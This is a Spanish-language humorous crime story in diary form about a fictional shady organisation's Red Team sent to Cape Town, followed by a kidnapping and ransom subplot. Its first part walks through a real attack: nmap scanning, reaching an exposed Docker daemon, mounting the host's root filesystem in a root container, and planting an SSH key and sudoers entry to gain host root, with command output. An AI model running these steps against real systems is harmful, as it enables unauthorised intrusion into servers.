Querido Diario…

Llegué a la H. Organización Turbia e Ilegal, y me dirigí donde los del Red Team, estaban ya allí, lo cual se me hacía raro; apenas eran las 12pm. Le pregunté a Aldo:

- ¿Cómo estas mi buen Augusto?, ¿en qué ayudo?
- ¿Me puedo robar a Lalo 1 y 2 por unos días?
- Hum... si, no tenemos nada que hacer
- Vale, Lalo, Becario... a mi oficina, es el momento de brillar - dije mientras hacía el movimiento de arcoíris con mis manos
- Ouuu.. ¿ahora a quién a matar? - dijo Lalo tomando su libretita
- Joven, no vendiste algo así como una recuperación de discos duros sólidos, ¿verdad?
- No, no... esto es di-fe-rente
- Me asusta cuando empieza a separar las palabras

Entramos a la oficina y se sentaron en el sofá, mientras yo sacaba del cajón del escritorio los pasaportes falsos, boletos de avión y viáticos.

- ¿Qué es esto joven? - preguntó Becario
- Pasaportes, reservación de hotel, boletos de avión, hum.. intento de viáticos y lista de contactos turbios e ilegales
- ¿Dónde es Cape Town? - Becario se veía confundido, la geografía no era lo suyo
- ¡Sudaaaaafrica Becario!, la exótica Sudafrica
- Joven, ¿qué demonios vamos a ir a hacer a esas tierras tan lejanas y seguramente peligrosas?
- Algo así como robar información que nos ayude a presionar un poco a que las autoridades locales le den a un contacto nuestro una licencia de explotación para una mina. Lo cual a nosotros nos traerá negocios con esa mina
- Ouuuuu.. ¿no podías escoger algo más cercano?
- No lo sé joven, ¿acaso crees que yo salgo, me emborracho con la gente y de pronto se me ocurren las misiones?, pues no... esto se planeo en muchas reuniones de negocios
- Hum... exactamente, ¿qué hay que hacer?
- Entrar a un datacenter de gobierno, pivotear en unos Docker, sacar la información y correr
- Joven, ¿no se supone que Docker es seguro porque precisamente eso no se puede hacer?
- Detalles Becario, detalles.. primero, llegarán y se conectaran a la red, ya estando allí primero deben sólo de identificar los servidores vivos
$ nmap -sP -oA nmap_rango_de_ip_donde_esten [rango de IP donde esten]
- Ya que hayan hecho eso, los escanean, pero sólo a la lista de lo que está vivo; no queremos hacer mucho ruido
$ nmap -vv -sC -sV [rango de IP donde esten] -oA segmento_de_ip_donde_esten
- Cuando los detecten entonces apunten un equipo que tenga el cliente de Docker, hacía el servidor: 
$ export DOCKER_HOST=tcp://[Servidor]:2376
$ docker ps
$ docker run --name ubuntu_bash --rm -i -t ubuntu bash
- Joven, sinceramente no creo que sea así de sencillo; nos va a dar un error porque no estará expuesto. Hardening básico.
Unable to find image 'ubuntu:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers).
See 'docker run --help'.
- Hum... bueno, podríamos pasar la imagen de ataque a la laptop y desde allí
❯ docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu
423ae2b273f4: Pull complete
de83a2304fa1: Pull complete
f9a83bce3af0: Pull complete
b6b53be908de: Pull complete
Digest: sha256:04d48df82c938587820d7b6006f5071dbbffceb7ca01d2814f81857c631d44df
Status: Downloaded newer image for ubuntu:latest
docker.io/library/ubuntu:latest
❯ docker save ubuntu -o /tmp/ubuntu.tgz
❯ scp /tmp/ubuntu.tgz docker-ctf:~/
ubuntu.tgz 100% 64MB 3.2MB/s 00:19
- Y entonces si, saltar al host:
$ docker load < ubuntu.tgz
cc4590d6a718: Loading layer  [===============================>]   65.58MB/65.58MB
8c98131d2d1d: Loading layer [===============================>] 991.2kB/991.2kB
03c9b9f537a4: Loading layer [===============================>] 15.87kB/15.87kB
1852b2300972: Loading layer [===============================>] 3.072kB/3.072kB
Loaded image: ubuntu:latest
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
root@2e29c9224caa:/# cd /mnt/
root@2e29c9224caa:/mnt# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

– Ya que esten como root en el container, copian su llave pública SSH al .ssh, le agregan privilegios de sudoer al directorio /mnt/etc y ¡zacarrapaselas!

❯ ssh -J docker-ctf target Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1058-aws x86_64)  * Documentation:  https://help.ubuntu.com  * Management:     https://landscape.canonical.com  * Support:        https://ubuntu.com/advantage   System information as of Thu Mar  5 19:46:25 UTC 2020   System load:  0.0               Processes:              92   Usage of /:   25.8% of 7.69GB   Users logged in:        0   Memory usage: 24%               IP address for eth0:    10.42.2.77   Swap usage:   0%                IP address for docker0: 172.17.0.1 0 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Mar  5 19:44:45 2020 from 10.42.2.129 ubuntu@ip-10-42-2-77:~$ sudo -i root@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)
- ¿Dudas?
- Hum... yo - Lalo levantó la mano
- Tú, el joven de las playeras rockeras, ¿qué pasa?
- Hum.. si sabes hacer todo eso, ¿por qué no veo un boleto de avión para que nos acompañes?
- Hum.. bueno, tengo otras cosas que hacer
- Hum.. ¿cómo qué?, estamos en cuarentena
- Pues.. yo... cosas turbias e ilegales, no sé; irme a agarrar a balazos a algún sitio, cosas así
- Hum... creo que ya se volvió neoliberal y conservador - digo Lalo 2 al oido de Lalo, pero lo suficientemente alto para que lo escuchase
- Si, así parece... como cambia la gente, apenas le dimos golpe de estado, y lo volvímos a poner en el poder, y ya empezó la dictadura
- Obvio no
- Vámonos Becario, tenemos un avión que tomar en.. ¿cómo se llama a donde vamos?
- Cape Town
- Cape Town.. eso

Lalo 1 y 2 salieron de la oficina, mientras Janey se quedó esperando; y cuando salieron se pasó y se sentó en el sofá

- ¿Puedo pasar? 
- ¿Un RedBull?
- No gracias, me infarto
- ¿Tú también crees que me he vuelto un dictador conservador y neoliberal?
- Un poquito si, desde que regresaste creo que disfrutas más el poder, pero creo que aun no estas corrompido; sólo te dieron más poder del que puedes manejar
- Ouuu... suena mal
- Bastante, tu caída siguiente va a ser mucho más grande
- Ouuu #estácab%&/(esepe%&/
- ¿Qué hay en Cape Town?
- ¿Capetauniyenses?
- ¿Y qué más?
- Una mina de cobre, no mentí... presionamos un poco al gobierno local y ¡bom!
- ¿Quienes los van a ayudar?
- Hum.. nadie, mis contactos más cercanos son en España o Costa Rica, y eso son muchas horas; estarán sólos, pero confío en ellos #tienenlaactitud
- ¿Cómo conseguiste este contacto?
- ¿Creerías que me emborraché y de pronto alguien apareció y me lo ofreció?
- ¿Y qué más te ofrecieron?
- No estas lista para esta conversacion jajaja estarán bien, no te preocupes
- ¿Por qué no vas a ir con ellos?
- Hum... - entonces extendí mi mano y le di el pedazo de hoja

La hoja había sido arrancada, de entre un libro; pero también estaba dañada por todo el tiempo que la había traido en la mano; apenas se alcanzaba a ver un poco de lo que había escrito en ella. Janey lo vi, y lo leyó lentamente.

«¿Aun te pintas las uñas?, últimamente lo hacías, dijsite. Y parecía ser lo más importante la última mañana que te vi. ¿Cumpliste todo lo que me gritaste que yo no te podía dar?, sería una vida genial. ¿De verdad valió la pena?… «

Janey se detuvo, no quiso seguir leyendo

- No puedo leerlo, es tan pin%&/ injusto
- ¿Quieres venir conmigo?
- ¿Vamos a soltar tehuacanazos?
- Primero necesitamos ver de donde vino, será peligroso. Si vienes, tal vez tengamos que comer tacos de mala calidad. ¿Cuento contigo?
- No, pero eres mi carnal, hermano, compadre; estoy contigo perra
- Gracias
- Un sujeto por allí me dijo que los amigos no agradecen
- Hum... ¿sushi?
- ¿Sunset roll?
- Ots - y me escupí la mano para cerrar el trato

Querido Diario…

Pasaron unos días, esperé a que todo fuese bien para Lalo 1 y Lalo 2, sin embargo mientras estaba sentado esperando a que la Señora Esthela pusiese el café, Lalo me marcó.

- Joven, ¿cómo le va?
- Muy maaaaaaaaaal
- ¿Por qué?
- Joven, tenemos un problema - vi a la señora entrar y mostrarme el bote del café vacío
- Ouuu si, acá también tenemos un problema
- Joven, no sé que problema sea, pero no importa; acá tenemos uno más grave
- Hum... ¿qué pasó?
- Es complejo joven, pero.. ¿sabes donde estan los contactos que nos pasaste?
- Sé supone los debieron de ver hace dos días
- Joven, ¿uno es un alto pelón?
- Si, creo que si
- ¿Tiene bigote?
- Ajá
- ¿Habla inglés?
- Si, si pero pedí un traductor para ustedes
- ¿El otro es un tipo de pelo largo que usa lentes oscuros
- No entiendo que pasa joven, necesito dejarte; la Señora Esthela me ha traido un tema complejo aquí que requiere de mi atención
- Joveeeeeen, ayudaaaaaa de verdad esto está complejo
- ¡Ohhhhhh raioooooos!, joven alejate de esa puerta... formación, manengan la línea
- ¿Cual línea?, sómos dos
- La línea... pues una línea es una raya que une dos puntos, joven
- Belindo, no me vengas a enseñar gramática cuando necesito ayuda
- Ouuuu shi, shi.. este pues.. ¡ay!, no te muevas de allí, llegó en 5
- ¿5 minutos?, ¿estas aquí?
- No 5 días... ya voy para allá.... Isabeeeeel, Isabeeeeel buscame un vuelo a Cape... 

Entonces escuche los disparos, la madera crujir, las astillas brincar por toda la habitación; y aquellos son pelear, como sé que siempre lo hacen. Olvidar las risas, la indiferencia, y ser los más confiables que tiene está H. Organización.

- ¡Becariooooo!, cubreme... yo mantengo posición en la puerta, tu mantenme vivo
- Si joven, ... mejor no joven.. ¡granadaaaaaa!

Perdí la señal.

Inmediatamente le marqué a Barbará, ¿qué estaba pasando?

- Bueno, ¿qué se supone que está pasando?, ¿tu gen... 
- Hola Augusto, ¿cómo estas?
- ¿Qu...
- Shhhhh.... aquí la que habla soy yo. Estan bien, pero si quieres verlos de nuevo, vivos. Quiero un depósito de $1 millón de dólares, por ambos; te lo dejo barato, 2x1
- Entiendo
- Que bueno, sinceramente pensé que eras un poquito lento por caer en mi engaño, pero tal vez no eres tan lentito. Te voy a mandar por correo los números de cuenta Swift donde puedes dispersarme los fondos, ¡ah y por favor!, manda también para reservarles un vuelo de regreso; y que sea una buena aerolínea, tratas muy mal a tus muchachos en clase turista. ¿A qué correo te mando las cuentas?
- Bien jugado
- Lo sé, no perdamos tiempo, terminemos rápido, es pandemia y quiero irme a la playa a pasar la cuerentena
- Barbará, disfruta el sol; y por las tardes, marca a tus seres queridos en esta pandemia
- No seas exagerado, mi familia se está cuidando muy bien, sólo hay que estar en casa
- Lo sé, están en tu en casa, en Monterrey, ¿Campestre 3? - pude imaginar como la risa se borró de su cara
- Más vale que pagues, no sabes con quién juegas
- No pienso pagarte nada - colgué

Barbará sintió la rábia correr por su cuerpo; pero al mismo tiempo el miedo de saber que su familia estaba en otro país distinto al de ella, y no podía defenderla. Estaríamos a mano, y después de eso; resolveríamos nuestra conversación de cuando nos conocimos. «¿Quién es el mexicano más cab%&/( los regios o los chilangos?».

Rapidamente subí al Red Team; miré a todos, aun no habían llegado; más que Luis que venía de Puebla. Tendría que ser él.

- Joven, preparate, nos vámos
- ¿A dónde?, apenas voy llegando, ni he desayunado
- Desayunarás en el avión... ¡Isabel!, dos bole... - Lalo 3 iba cruzando la puerta
- Lalo 3, ¿tienes clases?
- Hum.. pues si y no jefe, ¿por qué?
- ¡Isabel!, tres boletos para Cape Town, me voy con Luis y Lalo 3; muevanse.
- Este jefe, tal vez sería un poco prudente decirle que creo que voy a reprobar el semestre
- Suena mal, ya veremos regresando que le inventamos a tus papás
- Gracias jefe

Mientras ibamos rumbo el aeropuerto, Janey me marcó

- Bueno
- ¿Dónde estas?
- En un taxi, frente a un árbol
- Ahhh... ¿ya casi llegas?, nos tenemos que ir
- Ve tu sola, tengo que ir a Sufágrica
- ¿Qué salió mal?
- Hum... luego hablamos
- Oki... prometo poner la playlist durante la misión
- Bien, suena bien...